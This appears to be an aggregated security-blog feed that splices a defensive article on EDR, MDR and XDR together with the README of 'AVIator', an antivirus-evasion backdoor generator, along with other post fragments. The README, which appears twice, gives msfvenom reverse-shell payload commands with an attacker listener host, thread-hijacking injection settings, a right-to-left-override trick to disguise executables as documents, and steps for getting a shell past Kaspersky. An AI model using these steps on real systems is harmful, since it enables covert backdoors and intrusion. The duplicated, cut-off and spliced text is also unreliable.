  • Identify malicious behavior and tactics, techniques and procedures (TTPs) from unknown sources
  • Collect and analyze comprehensive endpoint data to determine root causes
  • Respond to new and emerging threats that previously went undetected.

Countering Modern Attacks

Today’s attackers know precisely where to find gaps and weaknesses in an organization’s network perimeter security, and they penetrate these in ways that bypass traditional antivirus software. These attackers use highly developed tools to target vulnerabilities that leverage:

  • Memory-based attacks
  • PowerShell scripting language
  • Remote logins
  • Macro-based attacks.

To counter these attackers, next-generation antivirus focuses on events – files, processes, applications and network connections – to see how actions in each of these areas are related. Analysis of event streams can help identify malicious intent, behaviors and activities; once identified, the attacks can be blocked.

This approach is increasingly important today because enterprises are finding that attackers are targeting their specific networks. The attacks are multi-stage and personalized and pose a significantly higher risk; traditional antivirus solutions don’t have a chance of stopping them.

Explore IBM Security QRadar Solutions  

Endpoint Detection and Response

Endpoint detection and response (EDR) software flips that model, relying on behavioral analysis of what’s happening on the endpoint. For example, if a Word document spawns a PowerShell process and executes an unknown script, that’s concerning. The file will be flagged and quarantined until the validity of the process is confirmed. Not relying on signature-based detection enables the EDR platform to react better to new and advanced threats.

Some of the ways EDR thwarts advanced threats include the following:

  • EDR provides real-time monitoring and detection of threats that may not be easily recognized by standard antivirus
  • EDR detects unknown threats based on a behavior that isn’t normal
  • Data collection and analysis determine threat patterns and alert organizations to threats
  • Forensic capabilities can determine what happened during a security event
  • EDR can isolate and quarantine suspicious or infected items. It often uses sandboxing to ensure a file’s safety without disrupting the user’s system.
  • EDR can include automated remediation and removal of specific threats.

EDR agent software is deployed to endpoints within an organization and begins recording activity on these endpoints. These agents are like security cameras focused on the processes and events running on the devices.

EDR platforms have several approaches to detecting threats. Some detect locally on the endpoint via ML, some forward all recorded data to an on-premises control server for analysis, some upload the recorded data to a cloud resource for detection and inspection and others use a hybrid approach.

Detections by EDR platforms are based on several tools, including AI, threat intelligence, behavioral analysis and indicators of compromise (IOCs). These tools also offer a range of responses, such as actions that trigger alerts, isolate the machine from the network, roll back to a known good state, delete or terminate threats and generate forensic evidence files.

Managed Detection and Response

Managed detection and response (MDR) is not a technology, but a form of managed service, sometimes delivered by a managed security service provider. MDR provides value to organizations with limited resources or the expertise to continuously monitor potential attack surfaces. Specific security goals and outcomes define these services. MDR providers offer various cybersecurity tools, such as endpoint detection, security information and event management (SIEM), network traffic analysis (NTA), user and entity behavior analytics (UEBA), asset discovery, vulnerability management, intrusion detection and cloud security.

Gartner estimates that by 2025, 50% of organizations will use MDR services. There are several reasons to support this prediction:

  • The widening talent shortage and skills gap: Many cybersecurity leaders confirm that they cannot use security technologies to their full advantage due to a global talent crunch.
  • Cybersecurity teams are understaffed and overworked: Budget cuts, layoffs and resource diversion have left IT departments with many challenges.
  • Widespread alert fatigue: Security analysts are becoming less productive due to “alert fatigue” from too many notifications and false positives from security applications. This results in distraction, ignored alerts, increased stress and fear of missing incidents. Many alerts are never addressed when, ideally, they should be studied and acted upon.

The technology behind an MDR service can include an array of options. This is an important thing to understand when evaluating MDR providers. The technology stack behind the service determines the scope of attacks they have access to detect.

Cybersecurity is about “defense-in-depth” — having multiple layers of protection to counter the numerous possible attack vectors. Various technologies provide complete visibility, detection and response capabilities. Some of the technologies offered by MDR services include:

  • SIEM
  • NTA
  • Endpoint protection platform
  • Intrusion detection system.

Extended Detection and Response

Extended detection and response (XDR) is the next phase in the evolution of EDR. XDR provides detection and protection across various environments, including networks and network components, cloud infrastructure and Software-as-a-Service (SaaS).

Features of XDR include:

  • Visibility into all network layers, including the entire application stack
  • Advanced detection, including automated correlation and ML processes capable of detecting events often missed by SIEM solutions
  • Intelligent alert suppression filters out the noise that typically reduces the productivity of cybersecurity staff.

Benefits of XDR include:

  • Improved analysis to help organizations collect the correct data and transform that data with contextual information
  • Identify hidden threats with the help of advanced behavior models powered by ML algorithms
  • Identify and correlate threats across various application stacks and network layers
  • Minimize fatigue by providing prioritized and precise alerts for investigation
  • Provide forensic capabilities needed to integrate multiple signals. This helps teams to construct the big picture of an attack and complete investigations promptly with high confidence in their findings.

XDR is gaining in popularity. XDR provides a single platform that can ingest endpoint agent data, network-level information and, in many cases, device logs. This data is correlated, and detections occur from one or many sources of telemetry.

XDR streamlines the functions of the analysts’ role by allowing them to view detections and respond from a single console. The single-pane-of-glass approach offers faster time to value, a shortened learning curve and quicker response times since the analysts no longer need to pivot between windows. Another advantage of XDR is its ability to piece multiple sources of telemetry together to achieve a big-picture view of detections. These tools are able to see what occurs not only on the endpoints but also between the endpoints.

The Future of Antivirus Software

Security is constantly evolving, and future threats may become much more dangerous than we are observing now. We cannot ignore these recent changes in the threat landscape. Rather, we need to understand them and stop these increasingly destructive attacks.

The post The Evolution of Antivirus Software to Face Modern Threats appeared first on Security Intelligence.

AVIator - Antivirus Evasion Project

By: Unknown
15 January 2023 at 06:30


AviAtor Ported to NETCore 5 with an updated UI


AV|Ator

About://name

AV: AntiVirus

Ator: Is a swordsman, alchemist, scientist, magician, scholar, and engineer, with the ability to sometimes produce objects out of thin air (https://en.wikipedia.org/wiki/Ator)

About://purpose

AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:

  • It uses AES encryption in order to encrypt a given shellcode
  • Generates an executable file which contains the encrypted payload
  • The shellcode is decrypted and injected to the target system using various injection techniques

[https://attack.mitre.org/techniques/T1055/]:

  1. Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.

  2. Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.


Usage

The application has a form which consists of three main inputs (See screenshot bellow):

  1. A text containing the encryption key used to encrypt the shellcode
  2. A text containing the IV used for AES encryption
  3. A text containing the shellcode

Important note: The shellcode should be provided as a C# byte array.

The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).

After filling the provided inputs and selecting the output path an executable is generated according to the chosen options.

RTLO option

In simple words, spoof an executable file to look like having an "innocent" extention like 'pdf', 'txt' etc. E.g. the file "testcod.exe" will be interpreted as "tesexe.doc"

Beware of the fact that some AVs alert the spoof by its own as a malware.

Set custom icon

I guess you all know what it is :)

Bypassing Kaspersky AV on a Win 10 x64 host (TEST CASE)

Getting a shell in a windows 10 machine running fully updated kaspersky AV

Target Machine: Windows 10 x64

  1. Create the payload using msfvenom

    msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp

  2. Use AVIator with the following settings

    Target OS architecture: x64

    Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64)

    Target procedure: explorer (leave the default)

  3. Set the listener on the attacker machine

  4. Run the generated exe on the victim machine

Installation

Windows:

Either compile the project or download the allready compiled executable from the following folder:

https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries

Linux:

Install Mono according to your linux distribution, download and run the binaries

e.g. in kali:

   root@kali# apt install mono-devel 

root@kali# mono aviator.exe

Credits

To Damon Mohammadbagher for the encryption procedure

Disclaimer

I developed this app in order to overcome the demanding challenges of the pentest process and this is the ONLY WAY that this app should be used. Make sure that you have the required permission to use it against a system and never use it for illegal purposes.



Windows Defender is enough, if you harden it

By: hoek
6 March 2022 at 14:25

This article is not intended to convince you to abandon your current antivirus solutions. In this post I would like to share my observations and ways to improve the effectiveness of Defender.

You don’t need to buy expensive antivirus software. If you are a standard user, surfing the web, you don’t want to install additional software (eg.

AVIator - Antivirus Evasion Project

By: Unknown
15 January 2023 at 06:30


AviAtor Ported to NETCore 5 with an updated UI


AV|Ator

About://name

AV: AntiVirus

Ator: Is a swordsman, alchemist, scientist, magician, scholar, and engineer, with the ability to sometimes produce objects out of thin air (https://en.wikipedia.org/wiki/Ator)

About://purpose

AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:

  • It uses AES encryption in order to encrypt a given shellcode
  • Generates an executable file which contains the encrypted payload
  • The shellcode is decrypted and injected to the target system using various injection techniques

[https://attack.mitre.org/techniques/T1055/]:

  1. Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.

  2. Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.


Usage

The application has a form which consists of three main inputs (See screenshot bellow):

  1. A text containing the encryption key used to encrypt the shellcode
  2. A text containing the IV used for AES encryption
  3. A text containing the shellcode

Important note: The shellcode should be provided as a C# byte array.

The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).

After filling the provided inputs and selecting the output path an executable is generated according to the chosen options.

RTLO option

In simple words, spoof an executable file to look like having an "innocent" extention like 'pdf', 'txt' etc. E.g. the file "testcod.exe" will be interpreted as "tesexe.doc"

Beware of the fact that some AVs alert the spoof by its own as a malware.

Set custom icon

I guess you all know what it is :)

Bypassing Kaspersky AV on a Win 10 x64 host (TEST CASE)

Getting a shell in a windows 10 machine running fully updated kaspersky AV

Target Machine: Windows 10 x64

  1. Create the payload using msfvenom

    msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp

  2. Use AVIator with the following settings

    Target OS architecture: x64

    Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64)

    Target procedure: explorer (leave the default)

  3. Set the listener on the attacker machine

  4. Run the generated exe on the victim machine

Installation

Windows:

Either compile the project or download the allready compiled executable from the following folder:

https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries

Linux:

Install Mono according to your linux distribution, download and run the binaries

e.g. in kali:

   root@kali# apt install mono-devel 

root@kali# mono aviator.exe

Credits

To Damon Mohammadbagher for the encryption procedure

Disclaimer

I developed this app in order to overcome the demanding challenges of the pentest process and this is the ONLY WAY that this app should be used. Make sure that you have the required permission to use it against a system and never use it for illegal purposes.



A lesson in personal cybersecurity (2022)

By: seo_spec
7 January 2023 at 14:45
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  • What smart homes and assistants keep quiet about

    Also, let’s talk about topics:

    • Digital Hygiene
    • Antivirus, VPN and other protection
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